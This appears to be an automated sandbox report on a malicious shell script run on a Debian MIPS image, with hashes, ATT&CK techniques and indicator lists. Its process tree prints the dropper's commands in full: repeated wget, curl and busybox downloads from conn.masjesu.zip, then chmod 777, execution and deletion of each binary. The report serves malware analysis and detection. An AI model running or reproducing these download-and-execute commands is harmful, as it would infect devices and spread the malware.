c6b6492d463e7ac56c92a45320307bc0eebfbd478408da81403b689fb83f8617

Analysis

max time kernel
84s
max time network
138s
platform
debian-9_mipsel
resource
debian9-mipsel-20240729-en
resource tags

arch:mipselimage:debian9-mipsel-20240729-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
11/11/2024, 03:00

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
c6b6492d463e7ac56c92a45320307bc0eebfbd478408da81403b689fb83f8617.sh
Size 10KB
Sample241111-dhbpvsvlbj
SHA256 c6b6492d463e7ac56c92a45320307bc0eebfbd478408da81403b689fb83f8617
MD5 eb85499b0fd4332e95ea7935834dfb32
SHA1 b515f87977dc84e1b2710820eb74899a869e4fd4
SHA512 1e37f55def505a995d4b0adfaf149e3b4da24b6e6d557661ac86e33faa2b3d5cde9f4a305819aa6b76069ad3b059d4c99079c52bf530101e5ca5c819e4fa5d12
SSDEEP 192:QQg3Y1B8HPxWQLY78wXLmQgU1B8HPtg8wXpp:y1WQk78wXLr8wXpp
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 28 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
833	chmod
950	chmod
992	chmod
863	chmod
908	chmod
943	chmod
957	chmod
964	chmod
985	chmod
756	chmod
805	chmod
746	chmod
856	chmod
894	chmod
901	chmod
936	chmod
922	chmod
978	chmod
812	chmod
971	chmod
1006	chmod
870	chmod
880	chmod
887	chmod
915	chmod
929	chmod
999	chmod
1013	chmod

Executes dropped EXE 28 IoCs

Reads runtime system information 28 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 64 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
811	busybox
884	curl
897	wget
914	busybox
939	wget
940	curl
942	busybox
946	wget
953	wget
988	wget
991	busybox
933	curl
995	wget
823	busybox
904	wget
905	curl
932	wget
815	wget
846	curl
947	curl
960	wget
808	wget
874	curl
912	curl
1005	busybox
722	wget
752	busybox
762	wget
873	wget
928	busybox
968	curl
977	busybox
996	curl
859	wget
867	curl
907	busybox
961	curl
989	curl
809	curl
886	busybox
911	wget
949	busybox
1003	curl
963	busybox
1002	wget
750	curl
803	busybox
816	curl
898	curl
926	curl
998	busybox
1009	wget
745	busybox
860	curl
862	busybox
879	busybox
918	wget
967	wget
970	busybox
1010	curl
749	wget
883	wget
919	curl
869	busybox

Writes file to tmp directory 28 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/hZeUDf3W4cteY0NF04m2Qvl3nyUlJnabnb	curl
File opened for modification	/tmp/hZeUDf3W4cteY0NF04m2Qvl3nyUlJnabnb	curl
File opened for modification	/tmp/Pal5i6Bk5FbVnz0hOy7OuRWJKRG5I0akRA	curl
File opened for modification	/tmp/m4SdkbS1PtqX9h7vAxdVh0Kk7BpZcItjMl	curl
File opened for modification	/tmp/vAOs9idvaop0IN5xjuI2Wmj2mMdCYauCI9	curl
File opened for modification	/tmp/zGGqZsflIB6Ou1lK2kizqKg5jJEZytcDRA	curl
File opened for modification	/tmp/Cxu08YhgzKo4685JglHgN1YSTRF60hCA5i	curl
File opened for modification	/tmp/BVGrTj5Z8ajausYTlUD3b7zu2foFEcbm29	curl
File opened for modification	/tmp/Cxu08YhgzKo4685JglHgN1YSTRF60hCA5i	curl
File opened for modification	/tmp/aUnoPE2QhNzOceFAoAx5oKByergXKxOWky	curl
File opened for modification	/tmp/9MIGH6KrbgAZR7wAcrrVx1hGCgWWFeVTsS	curl
File opened for modification	/tmp/y2YkGEaTWO7uFrtvxEWjnL9QiSCQrQvCpk	curl
File opened for modification	/tmp/NMvkOgjDoJwbu6UB8e2KDai2JAPqVebjpZ	curl
File opened for modification	/tmp/m4SdkbS1PtqX9h7vAxdVh0Kk7BpZcItjMl	curl
File opened for modification	/tmp/9MIGH6KrbgAZR7wAcrrVx1hGCgWWFeVTsS	curl
File opened for modification	/tmp/3EdOjQg7Q8NTufhoZtALMdm0sQenfQbCVi	curl
File opened for modification	/tmp/id06YIQztB3vWG21pXNt9QHCcvRvyyXYD0	curl
File opened for modification	/tmp/zGGqZsflIB6Ou1lK2kizqKg5jJEZytcDRA	curl
File opened for modification	/tmp/NMvkOgjDoJwbu6UB8e2KDai2JAPqVebjpZ	curl
File opened for modification	/tmp/Pal5i6Bk5FbVnz0hOy7OuRWJKRG5I0akRA	curl
File opened for modification	/tmp/3EdOjQg7Q8NTufhoZtALMdm0sQenfQbCVi	curl
File opened for modification	/tmp/BVGrTj5Z8ajausYTlUD3b7zu2foFEcbm29	curl
File opened for modification	/tmp/HENz8T8KYrMWKq5XPQ7LTWDN3hWn5Og0s1	curl
File opened for modification	/tmp/y2YkGEaTWO7uFrtvxEWjnL9QiSCQrQvCpk	curl
File opened for modification	/tmp/aUnoPE2QhNzOceFAoAx5oKByergXKxOWky	curl
File opened for modification	/tmp/HENz8T8KYrMWKq5XPQ7LTWDN3hWn5Og0s1	curl
File opened for modification	/tmp/vAOs9idvaop0IN5xjuI2Wmj2mMdCYauCI9	curl
File opened for modification	/tmp/id06YIQztB3vWG21pXNt9QHCcvRvyyXYD0	curl

/tmp/c6b6492d463e7ac56c92a45320307bc0eebfbd478408da81403b689fb83f8617.sh
/tmp/c6b6492d463e7ac56c92a45320307bc0eebfbd478408da81403b689fb83f8617.sh
1⤵
PID:714
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:716
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/y2YkGEaTWO7uFrtvxEWjnL9QiSCQrQvCpk
  2⤵
  - System Network Configuration Discovery
  PID:722
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/y2YkGEaTWO7uFrtvxEWjnL9QiSCQrQvCpk
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:732
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/y2YkGEaTWO7uFrtvxEWjnL9QiSCQrQvCpk
  2⤵
  - System Network Configuration Discovery
  PID:745
- /bin/chmod
  chmod 777 y2YkGEaTWO7uFrtvxEWjnL9QiSCQrQvCpk
  2⤵
  - File and Directory Permissions Modification
  PID:746
- /tmp/y2YkGEaTWO7uFrtvxEWjnL9QiSCQrQvCpk
  ./y2YkGEaTWO7uFrtvxEWjnL9QiSCQrQvCpk
  2⤵
  - Executes dropped EXE
  PID:747
- /bin/rm
  rm y2YkGEaTWO7uFrtvxEWjnL9QiSCQrQvCpk
  2⤵
  PID:748
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/m4SdkbS1PtqX9h7vAxdVh0Kk7BpZcItjMl
  2⤵
  - System Network Configuration Discovery
  PID:749
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/m4SdkbS1PtqX9h7vAxdVh0Kk7BpZcItjMl
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:750
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/m4SdkbS1PtqX9h7vAxdVh0Kk7BpZcItjMl
  2⤵
  - System Network Configuration Discovery
  PID:752
- /bin/chmod
  chmod 777 m4SdkbS1PtqX9h7vAxdVh0Kk7BpZcItjMl
  2⤵
  - File and Directory Permissions Modification
  PID:756
- /tmp/m4SdkbS1PtqX9h7vAxdVh0Kk7BpZcItjMl
  ./m4SdkbS1PtqX9h7vAxdVh0Kk7BpZcItjMl
  2⤵
  - Executes dropped EXE
  PID:758
- /bin/rm
  rm m4SdkbS1PtqX9h7vAxdVh0Kk7BpZcItjMl
  2⤵
  PID:761
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/3EdOjQg7Q8NTufhoZtALMdm0sQenfQbCVi
  2⤵
  - System Network Configuration Discovery
  PID:762
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/3EdOjQg7Q8NTufhoZtALMdm0sQenfQbCVi
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:770
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/3EdOjQg7Q8NTufhoZtALMdm0sQenfQbCVi
  2⤵
  - System Network Configuration Discovery
  PID:803
- /bin/chmod
  chmod 777 3EdOjQg7Q8NTufhoZtALMdm0sQenfQbCVi
  2⤵
  - File and Directory Permissions Modification
  PID:805
- /tmp/3EdOjQg7Q8NTufhoZtALMdm0sQenfQbCVi
  ./3EdOjQg7Q8NTufhoZtALMdm0sQenfQbCVi
  2⤵
  - Executes dropped EXE
  PID:806
- /bin/rm
  rm 3EdOjQg7Q8NTufhoZtALMdm0sQenfQbCVi
  2⤵
  PID:807
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/aUnoPE2QhNzOceFAoAx5oKByergXKxOWky
  2⤵
  - System Network Configuration Discovery
  PID:808
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/aUnoPE2QhNzOceFAoAx5oKByergXKxOWky
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:809
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/aUnoPE2QhNzOceFAoAx5oKByergXKxOWky
  2⤵
  - System Network Configuration Discovery
  PID:811
- /bin/chmod
  chmod 777 aUnoPE2QhNzOceFAoAx5oKByergXKxOWky
  2⤵
  - File and Directory Permissions Modification
  PID:812
- /tmp/aUnoPE2QhNzOceFAoAx5oKByergXKxOWky
  ./aUnoPE2QhNzOceFAoAx5oKByergXKxOWky
  2⤵
  - Executes dropped EXE
  PID:813
- /bin/rm
  rm aUnoPE2QhNzOceFAoAx5oKByergXKxOWky
  2⤵
  PID:814
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/9MIGH6KrbgAZR7wAcrrVx1hGCgWWFeVTsS
  2⤵
  - System Network Configuration Discovery
  PID:815
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/9MIGH6KrbgAZR7wAcrrVx1hGCgWWFeVTsS
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:816
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/9MIGH6KrbgAZR7wAcrrVx1hGCgWWFeVTsS
  2⤵
  - System Network Configuration Discovery
  PID:823
- /bin/chmod
  chmod 777 9MIGH6KrbgAZR7wAcrrVx1hGCgWWFeVTsS
  2⤵
  - File and Directory Permissions Modification
  PID:833
- /tmp/9MIGH6KrbgAZR7wAcrrVx1hGCgWWFeVTsS
  ./9MIGH6KrbgAZR7wAcrrVx1hGCgWWFeVTsS
  2⤵
  - Executes dropped EXE
  PID:835
- /bin/rm
  rm 9MIGH6KrbgAZR7wAcrrVx1hGCgWWFeVTsS
  2⤵
  PID:838
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/hZeUDf3W4cteY0NF04m2Qvl3nyUlJnabnb
  2⤵
  PID:840
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/hZeUDf3W4cteY0NF04m2Qvl3nyUlJnabnb
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:846
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/hZeUDf3W4cteY0NF04m2Qvl3nyUlJnabnb
  2⤵
  PID:855
- /bin/chmod
  chmod 777 hZeUDf3W4cteY0NF04m2Qvl3nyUlJnabnb
  2⤵
  - File and Directory Permissions Modification
  PID:856
- /tmp/hZeUDf3W4cteY0NF04m2Qvl3nyUlJnabnb
  ./hZeUDf3W4cteY0NF04m2Qvl3nyUlJnabnb
  2⤵
  - Executes dropped EXE
  PID:857
- /bin/rm
  rm hZeUDf3W4cteY0NF04m2Qvl3nyUlJnabnb
  2⤵
  PID:858
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/HENz8T8KYrMWKq5XPQ7LTWDN3hWn5Og0s1
  2⤵
  - System Network Configuration Discovery
  PID:859
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/HENz8T8KYrMWKq5XPQ7LTWDN3hWn5Og0s1
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:860
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/HENz8T8KYrMWKq5XPQ7LTWDN3hWn5Og0s1
  2⤵
  - System Network Configuration Discovery
  PID:862
- /bin/chmod
  chmod 777 HENz8T8KYrMWKq5XPQ7LTWDN3hWn5Og0s1
  2⤵
  - File and Directory Permissions Modification
  PID:863
- /tmp/HENz8T8KYrMWKq5XPQ7LTWDN3hWn5Og0s1
  ./HENz8T8KYrMWKq5XPQ7LTWDN3hWn5Og0s1
  2⤵
  - Executes dropped EXE
  PID:864
- /bin/rm
  rm HENz8T8KYrMWKq5XPQ7LTWDN3hWn5Og0s1
  2⤵
  PID:865
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/vAOs9idvaop0IN5xjuI2Wmj2mMdCYauCI9
  2⤵
  PID:866
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/vAOs9idvaop0IN5xjuI2Wmj2mMdCYauCI9
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:867
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/vAOs9idvaop0IN5xjuI2Wmj2mMdCYauCI9
  2⤵
  - System Network Configuration Discovery
  PID:869
- /bin/chmod
  chmod 777 vAOs9idvaop0IN5xjuI2Wmj2mMdCYauCI9
  2⤵
  - File and Directory Permissions Modification
  PID:870
- /tmp/vAOs9idvaop0IN5xjuI2Wmj2mMdCYauCI9
  ./vAOs9idvaop0IN5xjuI2Wmj2mMdCYauCI9
  2⤵
  - Executes dropped EXE
  PID:871
- /bin/rm
  rm vAOs9idvaop0IN5xjuI2Wmj2mMdCYauCI9
  2⤵
  PID:872
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/Cxu08YhgzKo4685JglHgN1YSTRF60hCA5i
  2⤵
  - System Network Configuration Discovery
  PID:873
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/Cxu08YhgzKo4685JglHgN1YSTRF60hCA5i
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:874
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/Cxu08YhgzKo4685JglHgN1YSTRF60hCA5i
  2⤵
  - System Network Configuration Discovery
  PID:879
- /bin/chmod
  chmod 777 Cxu08YhgzKo4685JglHgN1YSTRF60hCA5i
  2⤵
  - File and Directory Permissions Modification
  PID:880
- /tmp/Cxu08YhgzKo4685JglHgN1YSTRF60hCA5i
  ./Cxu08YhgzKo4685JglHgN1YSTRF60hCA5i
  2⤵
  - Executes dropped EXE
  PID:881
- /bin/rm
  rm Cxu08YhgzKo4685JglHgN1YSTRF60hCA5i
  2⤵
  PID:882
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/Pal5i6Bk5FbVnz0hOy7OuRWJKRG5I0akRA
  2⤵
  - System Network Configuration Discovery
  PID:883
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/Pal5i6Bk5FbVnz0hOy7OuRWJKRG5I0akRA
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:884
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/Pal5i6Bk5FbVnz0hOy7OuRWJKRG5I0akRA
  2⤵
  - System Network Configuration Discovery
  PID:886
- /bin/chmod
  chmod 777 Pal5i6Bk5FbVnz0hOy7OuRWJKRG5I0akRA
  2⤵
  - File and Directory Permissions Modification
  PID:887
- /tmp/Pal5i6Bk5FbVnz0hOy7OuRWJKRG5I0akRA
  ./Pal5i6Bk5FbVnz0hOy7OuRWJKRG5I0akRA
  2⤵
  - Executes dropped EXE
  PID:888
- /bin/rm
  rm Pal5i6Bk5FbVnz0hOy7OuRWJKRG5I0akRA
  2⤵
  PID:889
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/id06YIQztB3vWG21pXNt9QHCcvRvyyXYD0
  2⤵
  PID:890
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/id06YIQztB3vWG21pXNt9QHCcvRvyyXYD0
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:891
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/id06YIQztB3vWG21pXNt9QHCcvRvyyXYD0
  2⤵
  PID:893
- /bin/chmod
  chmod 777 id06YIQztB3vWG21pXNt9QHCcvRvyyXYD0
  2⤵
  - File and Directory Permissions Modification
  PID:894
- /tmp/id06YIQztB3vWG21pXNt9QHCcvRvyyXYD0
  ./id06YIQztB3vWG21pXNt9QHCcvRvyyXYD0
  2⤵
  - Executes dropped EXE
  PID:895
- /bin/rm
  rm id06YIQztB3vWG21pXNt9QHCcvRvyyXYD0
  2⤵
  PID:896
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/BVGrTj5Z8ajausYTlUD3b7zu2foFEcbm29
  2⤵
  - System Network Configuration Discovery
  PID:897
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/BVGrTj5Z8ajausYTlUD3b7zu2foFEcbm29
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:898
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/BVGrTj5Z8ajausYTlUD3b7zu2foFEcbm29
  2⤵
  PID:900
- /bin/chmod
  chmod 777 BVGrTj5Z8ajausYTlUD3b7zu2foFEcbm29
  2⤵
  - File and Directory Permissions Modification
  PID:901
- /tmp/BVGrTj5Z8ajausYTlUD3b7zu2foFEcbm29
  ./BVGrTj5Z8ajausYTlUD3b7zu2foFEcbm29
  2⤵
  - Executes dropped EXE
  PID:902
- /bin/rm
  rm BVGrTj5Z8ajausYTlUD3b7zu2foFEcbm29
  2⤵
  PID:903
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/zGGqZsflIB6Ou1lK2kizqKg5jJEZytcDRA
  2⤵
  - System Network Configuration Discovery
  PID:904
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/zGGqZsflIB6Ou1lK2kizqKg5jJEZytcDRA
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:905
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/zGGqZsflIB6Ou1lK2kizqKg5jJEZytcDRA
  2⤵
  - System Network Configuration Discovery
  PID:907
- /bin/chmod
  chmod 777 zGGqZsflIB6Ou1lK2kizqKg5jJEZytcDRA
  2⤵
  - File and Directory Permissions Modification
  PID:908
- /tmp/zGGqZsflIB6Ou1lK2kizqKg5jJEZytcDRA
  ./zGGqZsflIB6Ou1lK2kizqKg5jJEZytcDRA
  2⤵
  - Executes dropped EXE
  PID:909
- /bin/rm
  rm zGGqZsflIB6Ou1lK2kizqKg5jJEZytcDRA
  2⤵
  PID:910
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/NMvkOgjDoJwbu6UB8e2KDai2JAPqVebjpZ
  2⤵
  - System Network Configuration Discovery
  PID:911
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/NMvkOgjDoJwbu6UB8e2KDai2JAPqVebjpZ
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:912
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/NMvkOgjDoJwbu6UB8e2KDai2JAPqVebjpZ
  2⤵
  - System Network Configuration Discovery
  PID:914
- /bin/chmod
  chmod 777 NMvkOgjDoJwbu6UB8e2KDai2JAPqVebjpZ
  2⤵
  - File and Directory Permissions Modification
  PID:915
- /tmp/NMvkOgjDoJwbu6UB8e2KDai2JAPqVebjpZ
  ./NMvkOgjDoJwbu6UB8e2KDai2JAPqVebjpZ
  2⤵
  - Executes dropped EXE
  PID:916
- /bin/rm
  rm NMvkOgjDoJwbu6UB8e2KDai2JAPqVebjpZ
  2⤵
  PID:917
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/m4SdkbS1PtqX9h7vAxdVh0Kk7BpZcItjMl
  2⤵
  - System Network Configuration Discovery
  PID:918
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/m4SdkbS1PtqX9h7vAxdVh0Kk7BpZcItjMl
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:919
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/m4SdkbS1PtqX9h7vAxdVh0Kk7BpZcItjMl
  2⤵
  PID:921
- /bin/chmod
  chmod 777 m4SdkbS1PtqX9h7vAxdVh0Kk7BpZcItjMl
  2⤵
  - File and Directory Permissions Modification
  PID:922
- /tmp/m4SdkbS1PtqX9h7vAxdVh0Kk7BpZcItjMl
  ./m4SdkbS1PtqX9h7vAxdVh0Kk7BpZcItjMl
  2⤵
  - Executes dropped EXE
  PID:923
- /bin/rm
  rm m4SdkbS1PtqX9h7vAxdVh0Kk7BpZcItjMl
  2⤵
  PID:924
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/3EdOjQg7Q8NTufhoZtALMdm0sQenfQbCVi
  2⤵
  PID:925
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/3EdOjQg7Q8NTufhoZtALMdm0sQenfQbCVi
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:926
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/3EdOjQg7Q8NTufhoZtALMdm0sQenfQbCVi
  2⤵
  - System Network Configuration Discovery
  PID:928
- /bin/chmod
  chmod 777 3EdOjQg7Q8NTufhoZtALMdm0sQenfQbCVi
  2⤵
  - File and Directory Permissions Modification
  PID:929
- /tmp/3EdOjQg7Q8NTufhoZtALMdm0sQenfQbCVi
  ./3EdOjQg7Q8NTufhoZtALMdm0sQenfQbCVi
  2⤵
  - Executes dropped EXE
  PID:930
- /bin/rm
  rm 3EdOjQg7Q8NTufhoZtALMdm0sQenfQbCVi
  2⤵
  PID:931
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/aUnoPE2QhNzOceFAoAx5oKByergXKxOWky
  2⤵
  - System Network Configuration Discovery
  PID:932
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/aUnoPE2QhNzOceFAoAx5oKByergXKxOWky
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:933
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/aUnoPE2QhNzOceFAoAx5oKByergXKxOWky
  2⤵
  PID:935
- /bin/chmod
  chmod 777 aUnoPE2QhNzOceFAoAx5oKByergXKxOWky
  2⤵
  - File and Directory Permissions Modification
  PID:936
- /tmp/aUnoPE2QhNzOceFAoAx5oKByergXKxOWky
  ./aUnoPE2QhNzOceFAoAx5oKByergXKxOWky
  2⤵
  - Executes dropped EXE
  PID:937
- /bin/rm
  rm aUnoPE2QhNzOceFAoAx5oKByergXKxOWky
  2⤵
  PID:938
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/9MIGH6KrbgAZR7wAcrrVx1hGCgWWFeVTsS
  2⤵
  - System Network Configuration Discovery
  PID:939
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/9MIGH6KrbgAZR7wAcrrVx1hGCgWWFeVTsS
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:940
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/9MIGH6KrbgAZR7wAcrrVx1hGCgWWFeVTsS
  2⤵
  - System Network Configuration Discovery
  PID:942
- /bin/chmod
  chmod 777 9MIGH6KrbgAZR7wAcrrVx1hGCgWWFeVTsS
  2⤵
  - File and Directory Permissions Modification
  PID:943
- /tmp/9MIGH6KrbgAZR7wAcrrVx1hGCgWWFeVTsS
  ./9MIGH6KrbgAZR7wAcrrVx1hGCgWWFeVTsS
  2⤵
  - Executes dropped EXE
  PID:944
- /bin/rm
  rm 9MIGH6KrbgAZR7wAcrrVx1hGCgWWFeVTsS
  2⤵
  PID:945
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/y2YkGEaTWO7uFrtvxEWjnL9QiSCQrQvCpk
  2⤵
  - System Network Configuration Discovery
  PID:946
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/y2YkGEaTWO7uFrtvxEWjnL9QiSCQrQvCpk
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:947
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/y2YkGEaTWO7uFrtvxEWjnL9QiSCQrQvCpk
  2⤵
  - System Network Configuration Discovery
  PID:949
- /bin/chmod
  chmod 777 y2YkGEaTWO7uFrtvxEWjnL9QiSCQrQvCpk
  2⤵
  - File and Directory Permissions Modification
  PID:950
- /tmp/y2YkGEaTWO7uFrtvxEWjnL9QiSCQrQvCpk
  ./y2YkGEaTWO7uFrtvxEWjnL9QiSCQrQvCpk
  2⤵
  - Executes dropped EXE
  PID:951
- /bin/rm
  rm y2YkGEaTWO7uFrtvxEWjnL9QiSCQrQvCpk
  2⤵
  PID:952
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/HENz8T8KYrMWKq5XPQ7LTWDN3hWn5Og0s1
  2⤵
  - System Network Configuration Discovery
  PID:953
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/HENz8T8KYrMWKq5XPQ7LTWDN3hWn5Og0s1
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:954
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/HENz8T8KYrMWKq5XPQ7LTWDN3hWn5Og0s1
  2⤵
  PID:956
- /bin/chmod
  chmod 777 HENz8T8KYrMWKq5XPQ7LTWDN3hWn5Og0s1
  2⤵
  - File and Directory Permissions Modification
  PID:957
- /tmp/HENz8T8KYrMWKq5XPQ7LTWDN3hWn5Og0s1
  ./HENz8T8KYrMWKq5XPQ7LTWDN3hWn5Og0s1
  2⤵
  - Executes dropped EXE
  PID:958
- /bin/rm
  rm HENz8T8KYrMWKq5XPQ7LTWDN3hWn5Og0s1
  2⤵
  PID:959
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/vAOs9idvaop0IN5xjuI2Wmj2mMdCYauCI9
  2⤵
  - System Network Configuration Discovery
  PID:960
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/vAOs9idvaop0IN5xjuI2Wmj2mMdCYauCI9
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:961
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/vAOs9idvaop0IN5xjuI2Wmj2mMdCYauCI9
  2⤵
  - System Network Configuration Discovery
  PID:963
- /bin/chmod
  chmod 777 vAOs9idvaop0IN5xjuI2Wmj2mMdCYauCI9
  2⤵
  - File and Directory Permissions Modification
  PID:964
- /tmp/vAOs9idvaop0IN5xjuI2Wmj2mMdCYauCI9
  ./vAOs9idvaop0IN5xjuI2Wmj2mMdCYauCI9
  2⤵
  - Executes dropped EXE
  PID:965
- /bin/rm
  rm vAOs9idvaop0IN5xjuI2Wmj2mMdCYauCI9
  2⤵
  PID:966
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/Cxu08YhgzKo4685JglHgN1YSTRF60hCA5i
  2⤵
  - System Network Configuration Discovery
  PID:967
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/Cxu08YhgzKo4685JglHgN1YSTRF60hCA5i
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:968
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/Cxu08YhgzKo4685JglHgN1YSTRF60hCA5i
  2⤵
  - System Network Configuration Discovery
  PID:970
- /bin/chmod
  chmod 777 Cxu08YhgzKo4685JglHgN1YSTRF60hCA5i
  2⤵
  - File and Directory Permissions Modification
  PID:971
